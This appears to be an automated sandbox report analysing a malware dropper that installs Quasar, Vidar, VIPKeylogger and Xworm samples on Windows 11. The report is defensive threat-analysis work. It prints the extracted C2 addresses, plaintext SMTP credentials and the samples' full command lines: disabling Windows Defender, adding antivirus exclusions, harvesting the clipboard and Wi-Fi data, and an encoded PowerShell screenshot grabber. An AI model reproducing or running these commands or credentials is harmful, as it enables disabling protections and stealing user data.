Overview

overview

10

Static

static

3

New Text D...od.exe

windows11-21h2-x64

Resubmissions

05-02-2025 05:35

250205-gabxfatmcq 10

03-02-2025 03:04

250203-dkkqjszkhq 10

03-02-2025 02:21

250203-cs7plsylfr 10

03-02-2025 02:20

250203-csf7nawqbz 10

02-02-2025 21:21

250202-z7mdjsylhx 3

02-02-2025 18:40

250202-xbfvsawpaq 10

02-02-2025 18:19

250202-wyncpstlfw 10

24-01-2025 01:23

250124-br1z1asnhz 10

24-01-2025 00:12

250124-ag75wssjak 10

28-11-2024 02:19

241128-cr9sks1kht 10

Analysis

  • max time kernel
    132s
  • max time network
    444s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    03-02-2025 03:04

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    New Text Document mod.exe

  • Size

    8KB

  • MD5

    69994ff2f00eeca9335ccd502198e05b

  • SHA1

    b13a15a5bea65b711b835ce8eccd2a699a99cead

  • SHA256

    2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2

  • SHA512

    ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3

  • SSDEEP

    96:y7ov9wc1dN1Unh3EHJ40CUJCrQt0LpCBIW12nEtgpH9GIkQYQoBNw9fnmK5iLjTv:yZyTFJfCB20LsBIW12n/eIkQ2BNg5S1

Score
10/10
quasarvidarvipkeyloggerxwormcollectiondefense_evasiondiscoveryexecutionkeyloggerpersistencepyinstallerratspywarestealerthemidatrojanupx

Malware Config

Extracted

Credentials

  • Protocol:     smtp
  • Host:
    us2.smtp.mailhostbox.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    ^rtEwRy2

Extracted

Family

vipkeylogger

Credentials

Extracted

Family

vidar

C2

https://t.me/m08mbk

https://steamcommunity.com/profiles/76561199820567237
Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0

Extracted

Family

xworm

Version

5.0

C2

185.208.156.62:9009

Mutex

Iuf47JITa74lSJjB

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 3 IoCs
  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

    stealerkeyloggervipkeylogger
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Vipkeylogger family
    vipkeylogger
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 24 IoCs
  • Modifies Windows Firewall 2 TTPs 29 IoCs
    defense_evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 40 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 13 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 12 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 7 IoCs
    discovery
  • Suspicious use of SetThreadContext 7 IoCs
  • UPX packed file 40 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 32 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 22 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Downloads MZ/PE file
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3316
    • C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
      "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
      2⤵
      • Downloads MZ/PE file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5420
      • C:\Users\Admin\AppData\Local\Temp\a\GRN.exe
        "C:\Users\Admin\AppData\Local\Temp\a\GRN.exe"
        3⤵
        • Executes dropped EXE
        PID:5728
      • C:\Users\Admin\AppData\Local\Temp\a\test.exe
        "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
        3⤵
        • Executes dropped EXE
        PID:3084
      • C:\Users\Admin\AppData\Local\Temp\a\GREEN.exe
        "C:\Users\Admin\AppData\Local\Temp\a\GREEN.exe"
        3⤵
        • Executes dropped EXE
        PID:2116
      • C:\Users\Admin\AppData\Local\Temp\a\BLACKKKK.exe
        "C:\Users\Admin\AppData\Local\Temp\a\BLACKKKK.exe"
        3⤵
        • Executes dropped EXE
        PID:1696
      • C:\Users\Admin\AppData\Local\Temp\a\YLW.exe
        "C:\Users\Admin\AppData\Local\Temp\a\YLW.exe"
        3⤵
        • Executes dropped EXE
        PID:1380
      • C:\Users\Admin\AppData\Local\Temp\a\BLACK.exe
        "C:\Users\Admin\AppData\Local\Temp\a\BLACK.exe"
        3⤵
        • Executes dropped EXE
        PID:248
      • C:\Users\Admin\AppData\Local\Temp\a\GREEEEEN.exe
        "C:\Users\Admin\AppData\Local\Temp\a\GREEEEEN.exe"
        3⤵
        • Executes dropped EXE
        PID:5776
      • C:\Users\Admin\AppData\Local\Temp\a\LXIX.exe
        "C:\Users\Admin\AppData\Local\Temp\a\LXIX.exe"
        3⤵
        • Executes dropped EXE
        PID:1512
      • C:\Users\Admin\AppData\Local\Temp\a\CL.exe
        "C:\Users\Admin\AppData\Local\Temp\a\CL.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        PID:2128
      • C:\Users\Admin\AppData\Local\Temp\a\ImageEditorforWP.exe
        "C:\Users\Admin\AppData\Local\Temp\a\ImageEditorforWP.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2600
        • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
          C:\Users\Admin\AppData\Local\Temp\svchost015.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2428
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2428 -s 1332
            5⤵
            • Program crash
            PID:1548
      • C:\Users\Admin\AppData\Local\Temp\a\inst.exe
        "C:\Users\Admin\AppData\Local\Temp\a\inst.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5568
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Sets service image path in registry
          • Checks BIOS information in registry
          • Suspicious behavior: LoadsDriver
          PID:2684
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Add-MpPreference -ExclusionPath C:\
            5⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4464
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Remove-MpPreference -ExclusionPath C:\
            5⤵
              PID:4928
        • C:\Users\Admin\AppData\Local\Temp\a\nvc.exe
          "C:\Users\Admin\AppData\Local\Temp\a\nvc.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:3888
        • C:\Users\Admin\AppData\Local\Temp\a\update.exe
          "C:\Users\Admin\AppData\Local\Temp\a\update.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1584
        • C:\Users\Admin\AppData\Local\Temp\a\zx.exe
          "C:\Users\Admin\AppData\Local\Temp\a\zx.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3820
          • C:\Users\Admin\AppData\Local\Temp\a\zx.exe
            "C:\Users\Admin\AppData\Local\Temp\a\zx.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:2880
        • C:\Users\Admin\AppData\Local\Temp\a\svc.exe
          "C:\Users\Admin\AppData\Local\Temp\a\svc.exe"
          3⤵
          • Downloads MZ/PE file
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:3168
          • C:\Users\Admin\AppData\Local\Temp\temp_28159.exe
            "C:\Users\Admin\AppData\Local\Temp\temp_28159.exe"
            4⤵
            • Executes dropped EXE
            PID:4744
            • C:\Users\Admin\AppData\Local\Temp\temp_28159.exe
              "C:\Users\Admin\AppData\Local\Temp\temp_28159.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:4528
          • C:\Users\Admin\AppData\Local\Temp\temp_28191.exe
            "C:\Users\Admin\AppData\Local\Temp\temp_28191.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3940
          • C:\Users\Admin\AppData\Local\Temp\temp_28194.exe
            "C:\Users\Admin\AppData\Local\Temp\temp_28194.exe"
            4⤵
            • Executes dropped EXE
            PID:1848
        • C:\Users\Admin\AppData\Local\Temp\a\ScreenSync.exe
          "C:\Users\Admin\AppData\Local\Temp\a\ScreenSync.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1780
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 1392
            4⤵
            • Program crash
            PID:228
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 1392
            4⤵
            • Program crash
            PID:4912
        • C:\Users\Admin\AppData\Local\Temp\a\InstallSetup.exe
          "C:\Users\Admin\AppData\Local\Temp\a\InstallSetup.exe"
          3⤵
          • Downloads MZ/PE file
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3576
          • C:\Users\Admin\AppData\Local\Temp\C704.tmp.exe
            "C:\Users\Admin\AppData\Local\Temp\C704.tmp.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4208
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4208 -s 1368
              5⤵
              • Program crash
              PID:5240
          • C:\Users\Admin\AppData\Local\Temp\7670.tmp.exe
            "C:\Users\Admin\AppData\Local\Temp\7670.tmp.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:716
        • C:\Users\Admin\AppData\Local\Temp\a\suwce.exe
          "C:\Users\Admin\AppData\Local\Temp\a\suwce.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:5148
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Users\Admin\AppData\Local\Temp\a\suwce.exe"
            4⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • outlook_office_path
            • outlook_win_path
            PID:5592
        • C:\Users\Admin\AppData\Local\Temp\a\svc1.exe
          "C:\Users\Admin\AppData\Local\Temp\a\svc1.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          PID:4420
          • C:\Users\Admin\AppData\Local\Temp\a\svc1.exe
            "C:\Users\Admin\AppData\Local\Temp\a\svc1.exe"
            4⤵
            • Executes dropped EXE
            PID:6088
          • C:\Users\Admin\AppData\Local\Temp\a\svc1.exe
            "C:\Users\Admin\AppData\Local\Temp\a\svc1.exe"
            4⤵
            • Executes dropped EXE
            • Checks SCSI registry key(s)
            PID:2308
          • C:\Users\Admin\AppData\Local\Temp\a\svc1.exe
            "C:\Users\Admin\AppData\Local\Temp\a\svc1.exe"
            4⤵
            • Executes dropped EXE
            PID:5952
          • C:\Users\Admin\AppData\Local\Temp\a\svc1.exe
            "C:\Users\Admin\AppData\Local\Temp\a\svc1.exe"
            4⤵
            • Executes dropped EXE
            PID:5144
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 852
            4⤵
            • Program crash
            PID:1644
        • C:\Users\Admin\AppData\Local\Temp\a\yoda.exe
          "C:\Users\Admin\AppData\Local\Temp\a\yoda.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:1880
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c move Advanced Advanced.cmd & Advanced.cmd
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3540
            • C:\Windows\SysWOW64\tasklist.exe
              tasklist
              5⤵
              • Enumerates processes with tasklist
              • System Location Discovery: System Language Discovery
              PID:5640
            • C:\Windows\SysWOW64\findstr.exe
              findstr /I "opssvc wrsa"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2648
            • C:\Windows\SysWOW64\tasklist.exe
              tasklist
              5⤵
              • Enumerates processes with tasklist
              • System Location Discovery: System Language Discovery
              PID:5508
            • C:\Windows\SysWOW64\findstr.exe
              findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3392
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c md 328748
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3344
            • C:\Windows\SysWOW64\extrac32.exe
              extrac32 /Y /E Discovery
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4236
            • C:\Windows\SysWOW64\findstr.exe
              findstr /V "Lean" Lyrics
              5⤵
              • System Location Discovery: System Language Discovery
              PID:5788
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c copy /b 328748\Plenty.com + Tablet + Pointed + Furniture + Rhythm + Children + Cliff + Madness + Amend + Interventions + Deadly + Notre + Wood 328748\Plenty.com
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4532
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c copy /b ..\Biz + ..\Disaster + ..\Administration + ..\Stopped + ..\Broadcasting + ..\Kevin + ..\Pins u
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1128
            • C:\Users\Admin\AppData\Local\Temp\328748\Plenty.com
              Plenty.com u
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4868
            • C:\Windows\SysWOW64\choice.exe
              choice /d y /t 5
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3688
        • C:\Users\Admin\AppData\Local\Temp\a\updater.exe
          "C:\Users\Admin\AppData\Local\Temp\a\updater.exe"
          3⤵
          • Executes dropped EXE
          PID:5352
        • C:\Users\Admin\AppData\Local\Temp\a\svc2.exe
          "C:\Users\Admin\AppData\Local\Temp\a\svc2.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          PID:2976
          • C:\Users\Admin\AppData\Local\Temp\a\svc2.exe
            "C:\Users\Admin\AppData\Local\Temp\a\svc2.exe"
            4⤵
            • Executes dropped EXE
            PID:5180
          • C:\Users\Admin\AppData\Local\Temp\a\svc2.exe
            "C:\Users\Admin\AppData\Local\Temp\a\svc2.exe"
            4⤵
            • Executes dropped EXE
            PID:2120
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2976 -s 836
            4⤵
            • Program crash
            PID:4828
        • C:\Users\Admin\AppData\Local\Temp\a\1.exe
          "C:\Users\Admin\AppData\Local\Temp\a\1.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2796
        • C:\Users\Admin\AppData\Local\Temp\a\din.exe
          "C:\Users\Admin\AppData\Local\Temp\a\din.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:5256
        • C:\Users\Admin\AppData\Local\Temp\a\putty.exe
          "C:\Users\Admin\AppData\Local\Temp\a\putty.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2028
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2028 -s 372
            4⤵
            • Program crash
            PID:5464
        • C:\Users\Admin\AppData\Local\Temp\a\Built.exe
          "C:\Users\Admin\AppData\Local\Temp\a\Built.exe"
          3⤵
            PID:5412
            • C:\Users\Admin\AppData\Local\Temp\a\Built.exe
              "C:\Users\Admin\AppData\Local\Temp\a\Built.exe"
              4⤵
                PID:3396
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\Built.exe'"
                  5⤵
                    PID:4852
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\Built.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:2484
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                    5⤵
                      PID:5184
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:2968
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                      5⤵
                        PID:1388
                        • C:\Windows\system32\tasklist.exe
                          tasklist /FO LIST
                          6⤵
                          • Enumerates processes with tasklist
                          PID:5456
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                        5⤵
                          PID:4612
                          • C:\Windows\system32\tasklist.exe
                            tasklist /FO LIST
                            6⤵
                            • Enumerates processes with tasklist
                            PID:3708
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                          5⤵
                            PID:1972
                            • C:\Windows\System32\Wbem\WMIC.exe
                              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                              6⤵
                                PID:5740
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                              5⤵
                              • Clipboard Data
                              PID:5772
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell Get-Clipboard
                                6⤵
                                • Clipboard Data
                                PID:488
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                              5⤵
                                PID:5760
                                • C:\Windows\system32\tasklist.exe
                                  tasklist /FO LIST
                                  6⤵
                                  • Enumerates processes with tasklist
                                  PID:4680
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                5⤵
                                  PID:5288
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    6⤵
                                      PID:220
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                    5⤵
                                    • System Network Configuration Discovery: Wi-Fi Discovery
                                    PID:4812
                                    • C:\Windows\system32\netsh.exe
                                      netsh wlan show profile
                                      6⤵
                                      • System Network Configuration Discovery: Wi-Fi Discovery
                                      PID:2804
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "systeminfo"
                                    5⤵
                                      PID:5880
                                      • C:\Windows\system32\systeminfo.exe
                                        systeminfo
                                        6⤵
                                        • Gathers system information
                                        PID:1096
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAI